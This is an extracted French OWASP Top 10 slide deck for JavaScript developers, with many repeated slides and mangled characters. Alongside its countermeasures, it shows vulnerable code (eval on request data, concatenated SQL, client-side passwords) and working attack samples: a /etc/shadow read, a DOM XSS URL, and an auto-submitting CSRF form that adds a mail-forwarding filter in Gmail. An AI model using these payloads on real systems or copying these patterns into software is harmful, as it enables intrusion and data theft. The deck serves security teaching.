2013 02-27-owasp top10 javascript

Preview:

Citation preview

OWASP  Top  10  2010  pour  le  développeur  JavaScript

Sébas;en  GioriaOWASP  France  Leader  -­‐  OWASP  Global  Educa;on  CommiDeeConfoo.ca  -­‐  27  Février  2013  -­‐  Montréal  -­‐  Canada

Saturday, March 2, 13

http://www.google.fr/#q=sebastien gioria

‣OWASP France Leader & Founder - Evangéliste

‣OWASP Global Education Comittee Member (sebastien.gioria@owasp.org)

‣Consultant Indépendant en Sécurité Applicative

Twitter :@SPoint

2Saturday, March 2, 13

O-­‐ou-­‐a-­‐ss-­‐pe?

• OWASP  =  Open  Web  Applica6on  Security  Project–Il  y  a  le  mot  “web”  mais  en  fait  …

• Mission:–Global,  ouvert,  non  lucra6f,  indépendant.

• Communauté  OWASP:–30,000  abonnés  aux  listes  de  diffusion  –200  sec6ons  régionales  ac6ves  dans  70  pays–1’600  membres  officiels,  56  entreprises  partenaires–69  ins6tu6ons  académiques

Saturday, March 2, 13

OWASP  Canada

• Sec6ons  OWASP  au  Canada:–Alberta:  Edmonton  &  Lethbridge–Bri6sh  Columbia:  Okanagan  &  Vancouver–Manitoba:  Winnipeg–New  Brunswick:  New  Brunswick–Ontario:  Niagara,  Toronto–Quebec:  Montréal,  Obawa,  Quebec  city

Saturday, March 2, 13

5

Saturday, March 2, 13

Que  se  passe-­‐t-­‐il  ?  

6

var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});

Saturday, March 2, 13

Que  se  passe-­‐t-­‐il  ?  

6

var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});

Saturday, March 2, 13

Que  se  passe-­‐t-­‐il  ?  

6

var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});

var fs = require('fs');return fs.readFileSync('/etc/shadow');

Saturday, March 2, 13

Que  se  passe-­‐t-­‐il  ?  

6

var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});

var fs = require('fs');return fs.readFileSync('/etc/shadow');

Saturday, March 2, 13

Que  se  passe-­‐t-­‐il  ?  

6

var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});

var fs = require('fs');return fs.readFileSync('/etc/shadow');

root:$6$enEZGERdwP$hN4bR9BJd7JVQ/OKDF354DFfdg’DFG.4.OKs2HE/BD7qqQPWpvFe5TCJeblSUKZFswLq0P0:15293:0:99999:7:::daemon:*:14743:0:99999:7:::bin:*:14743:0:99999:7:::sys:*:14743:0:99999:7:::spoint:$6$454FDfd$fBXQtwOtNQ71OEMj78uxidxLthoedggioerjgoeirg34FDVDFVoqv9ulQ1W2At6MFT0/1VfAAb6G.lFr.qYhSMaMnz1:15293:0:99999:7:::landscape:*:15293:0:99999:7:::bind:*:15293:0:99999:7:::ntpd:*:15293:0:99999:7:::sshd:*:15293:0:99999:7:::mysql:!:15350:0:99999:7:::

Saturday, March 2, 13

Que  se  passe-­‐t-­‐il  ?  

6

var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});

Saturday, March 2, 13

Que  se  passe-­‐t-­‐il

7

app.post('/login',  function(req,  res){        client.query('SELECT  *  FROM  users  WHERE  username="'  +  req.body.login  +  '"  AND  password="'  +

 Hash.sha1(req.body.password)  +  '"',                function  (err,  results,  fields)  {                        if  (err)  {                                throw  err;                        }                        if  (results[0])  {                                req.session.userInfo  =  results[0];                                req.session.is_logged_in  =  true;                                res.render('site/start',  {                                        title:  'News'                                });                        }                        else  {                                res.redirect('/');                        }                }        );});

Saturday, March 2, 13

8

Saturday, March 2, 13

8

Saturday, March 2, 13

8

Saturday, March 2, 13

8

Saturday, March 2, 13

8

Saturday, March 2, 13

8

Saturday, March 2, 13

8

Saturday, March 2, 13

8

Saturday, March 2, 13

Contre-­‐mesure

9

★Valider les données

★Utiliser les mécanismes des requêtes paramétrées quand elles sont disponibles

★Minimiser les privilèges des utilisateurs

★Input validation Cheat Sheet :

★https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet

client.query('SELECT * FROM users WHERE username=?', [username], ...)

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

11

Saturday, March 2, 13

12

<script>var url = window.location.href;var pos = url.indexOf("field-author=") + 6;var len = url.length;var title_string = url.substring(pos,len);document.write(unescape(title_string));</script>

http://www.amazon.ca/s?ie=UTF8&search-type=ss&index=books-ca&field-author=%22%3E%3Cscript%3Ealert(%22XSS%20BY%20Fugitif%22)%3C/script%3E

Saturday, March 2, 13

12

<script>var url = window.location.href;var pos = url.indexOf("field-author=") + 6;var len = url.length;var title_string = url.substring(pos,len);document.write(unescape(title_string));</script>

http://www.amazon.ca/s?ie=UTF8&search-type=ss&index=books-ca&field-author=%22%3E%3Cscript%3Ealert(%22XSS%20BY%20Fugitif%22)%3C/script%3E

Saturday, March 2, 13

13

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Saturday, March 2, 13

17

Saturday, March 2, 13

17

var users = [{nom: "tom", prenom: "cat", adresse:{rue:"avenue victor hugo", num: "18", cp:"06000", ville:"NICE", login:"tom", pass: "4tom"}},{nom: "you", prenom: "tube", adresse:{rue:"rue delille", num: "23", cp:"75000", ville:"PARIS", login:"java", pass: "you"}},{nom: "rain", prenom: "bow", adresse:{rue:"impasse toulouse lautrec", num: "5", cp:"77500", ville:"CHELLES", login:"snow", pass: "cat"}}];

Saturday, March 2, 13

17

var users = [{nom: "tom", prenom: "cat", adresse:{rue:"avenue victor hugo", num: "18", cp:"06000", ville:"NICE", login:"tom", pass: "4tom"}},{nom: "you", prenom: "tube", adresse:{rue:"rue delille", num: "23", cp:"75000", ville:"PARIS", login:"java", pass: "you"}},{nom: "rain", prenom: "bow", adresse:{rue:"impasse toulouse lautrec", num: "5", cp:"77500", ville:"CHELLES", login:"snow", pass: "cat"}}];

function authenticate(user, passwd) {authentifie = false ;for(iu in users){

if(users[iu].login == user && users[iu].pass == pass){authentifie = true ; break;

}}

}

Saturday, March 2, 13

17

Saturday, March 2, 13

Contre-­‐Mesure

★Ne  pas  mebre  d’authen6fica6on  coté  client★Ne  jamais  mebre  d’ID  de  session  dans  l’URL★U6liser  des  générateurs  d’ID  de  session  sur  (pas  le  sien  !)★Longueur  suffisante★Aléa  suffisant

★Chiffrer  le  transport  de  l’ID  de  session  =>  TLS/SSL★Regénérer  des  ID  de  session  apres  le  login  et  le  logout

18

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

20

Saturday, March 2, 13

20

Saturday, March 2, 13

20

{"d":{"__type":"Customer:#Web","Address":"3 Childers St","CustomerID":3,"Email":"brucec@aol.com","FirstName":"Bruce","Postcode":"3000","State":"VIC","Suburb":"Melbourne"}}

Saturday, March 2, 13

21

Saturday, March 2, 13

21

Saturday, March 2, 13

21

{"d":{"__type":"Customer:#Web","Address":"12\/78 Burbank Lane","CustomerID":4,"Email":"janedoe@hotmail.com","FirstName":"Jane","Postcode":"4000","State":"QLD","Suburb":"Brisbane"}}

Saturday, March 2, 13

Contre-­‐mesure

22

Web Service

Database

Mainframe

File System

User Access ReferenceMap

Etc…

Indirect Reference DirectReference

Indirect Reference Direct Reference

customerID  =  1A530637289A03B07199A44E8D531427 customerID  =  3

customerID  =  3customerID  =  1A530637289A03B07199A44E8D531427

Saturday, March 2, 13

23

Contre-­‐Mesure

★Ne  pas  exposer  de  clefs  de  base★Mebre  en  place  des  contrôles  d’accès  serveurs★Mebre  en  place  les  tables  de  références  d’accès

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

25

Saturday, March 2, 13

261  -­‐  On  se  loggue  sur  GMAIL

Saturday, March 2, 13

27

Bien  noter  les  filtres  existants

Saturday, March 2, 13

28

2  -­‐  On  accede  à  un  site  Web  contenant  le  code  suivant  :

Saturday, March 2, 13

28

<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> ! <input type="hidden" name="cf2_emc" value="true"/> ! <input type="hidden" name="cf2_email" value="eagle@ckers.fr"/> ! <input type="hidden" name="cf1_from" value="boss@company.com"/> ! <input type="hidden" name="cf1_to" value=""/> ! <input type="hidden" name="cf1_subj" value=""/> ! <input type="hidden" name="cf1_has" value=""/> ! <input type="hidden" name="cf1_hasnot" value=""/> ! <input type="hidden" name="cf1_attach" value="true"/> ! <input type="hidden" name="tfi" value=""/> ! <input type="hidden" name="s" value="z"/> ! <input type="hidden" name="irf" value="on"/> ! <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> </form> <script> ! document.forms[0].submit();</script>

2  -­‐  On  accede  à  un  site  Web  contenant  le  code  suivant  :

Saturday, March 2, 13

29

3  -­‐  Le  filtre  est  rajouté

Saturday, March 2, 13

Contre-­‐Mesures

30

★Préferer  POST  a  GET★Supprimer  toutes  les  XSS★Mebre  des  sessions  avec  expira6on  très  faible★Rajouter  des  tokens  aléatoires  dans  les  requetes

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

32

www.example.com api.ckers.fr

Imposs

ible

Saturday, March 2, 13

33

www.example.com api.ckers.fr

Possible

CORS  ?

Saturday, March 2, 13

33

Access-Control-Allow-From: *Access-Control-Allow-Origin: *

www.example.com api.ckers.fr

Possible

CORS  ?

Saturday, March 2, 13

Contre-­‐Mesure

★Toujours  u6liser  des  ou6ls/frameworks  à  jour★Aben6on  à  la  configura6on  des  serveurs  Web★Revoir  la  configura6on  des  librairies  et  modules  (même  le  plus  pe6t  morceau  de  code)

★Ne  pas  mebre  des  permissions  trop  “laxistes”  cf  •Access-Control-Allow-From•Access-Control-Allow-Origin

34

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

36

Saturday, March 2, 13

★L’encodage  n’apporte  pas  de  protec6on★Plutot  que  de  chiffrer  une  donnée,  se  poser  la  ques6on  de  l’u6lité  de  la  stocker  !  

★Préférer  “hasher”  les  données  plutôt  que  de  les  chiffrer  

★Ajouter  des  aléas  (sels)  différents  dans  le  hashage★U6liser  des  algorithmes  ‘forts’  •SHA2•AES•SHA3...

37

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

39

Saturday, March 2, 13

39

Saturday, March 2, 13

39

Saturday, March 2, 13

Contre-­‐Mesures

• Configurer  correctement  la  restric6on  d’accès  sur  les  serveurs.• Empécher  le  lis6ng  de  directory  du  serveur.• Ajouter  les  bons  type-­‐mime.• ....

40

Saturday, March 2, 13

41

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

41

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

41

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

42

Saturday, March 2, 13

43

Saturday, March 2, 13

43

Saturday, March 2, 13

Contre-­‐Mesures  expérimentales  avec  JSON  

• JSON  Web  Encryp;on  (JWE)  :  JSON  Web  Encryp6on  (JWE)  est  un  drax  expliquant  comment  représenter  un  élément  chiffrer  via  des  structures  de  données  JavaScript  Object  Nota6on  (JSON).➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐encryp;on-­‐07#page-­‐23  

• JSON  Web  Signature  (JWS)  :  JSON  Web  Signature  (JWS)  est  un  drax  détaillant  comment  représenter  dans  une  strucutre  de  données  JSON,  du  contenu  u6lisant  des  signatures  numériques  ou  des  codes  d'authen6fica6on  de  message  (MAC).➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐signature-­‐07

•  JSON  Web  Algorithm  (JWA)  :  JSON  Web  Algorithms  (JWA)  décrit  les  algorithmes,  iden6fiants  nécessaires  pour  l'u6lisa6on  des  futurs  standars  JWE,  JWS  et  JWS.➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐algorithms

• JSON  Web  Key  (JWK)  :    Une  structure  JSON  Web  Key  (JWK)  est  une  structure  JavaScript  Object  Nota6on  (JSON)  représentant  un  clef  publique.  Ce  drax  défini  aussi  la  manière  de  représenter  un  ensemble  de  structures  de  type  JWK..➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐key-­‐07

44

Saturday, March 2, 13

Contre-­‐Mesures

★U6liser  TLS/SSL  dès  que  des  données  sensibles  sont  a  échanger

★Mebre  le  flag  ‘Secure’  sur  les  cookies  importants  (cookie  de  session  par  exemple)

★Ne  pas  mixer  d’accès  à  du  contenu  HTTP  depuis  du  contenu  HTTPS

★Mebre  en  place  une  configura6on  “sécurisée”  de  TLS/SSL  (cf  www.ssllabs.com)

★Voir    hDp://www.owasp.org/index.php/Transport_Layer_Protec;on_Cheat_Sheet    pour  plus  de  details

45

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Saturday, March 2, 13

Contre-­‐Mesures

★ Eviter  au  maximum  les  redirec6ons  et  les  transferts

★ S’il  faut  absolument  les  intégrer,  ne  pas  u6liser  les  paramètres  parvenant  d’un  u6lisateur  pour  définir  l’URL/fonc6on  cible.

★ Si  vous  “devez”  u6liser  les  paramètres  u6lisateurs,  • Valider  chaque  paramètre  pour  vérifier  qu’il  est  autorisé  et  

valide  par  rapport  à  l’u6lisateur,  ou  alors  • U6liser  une  table  de  correspondance  serveur  entre  les  

paramètres  u6lisateurs  et  les  pages  à  appeler.★ Pour  les  redirec6ons,  valider  l’URL  cible  après  la  

construc6on  pour  vérifier  qu’elle  redirige  bien  vers  un  site  autorisé  !

48

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

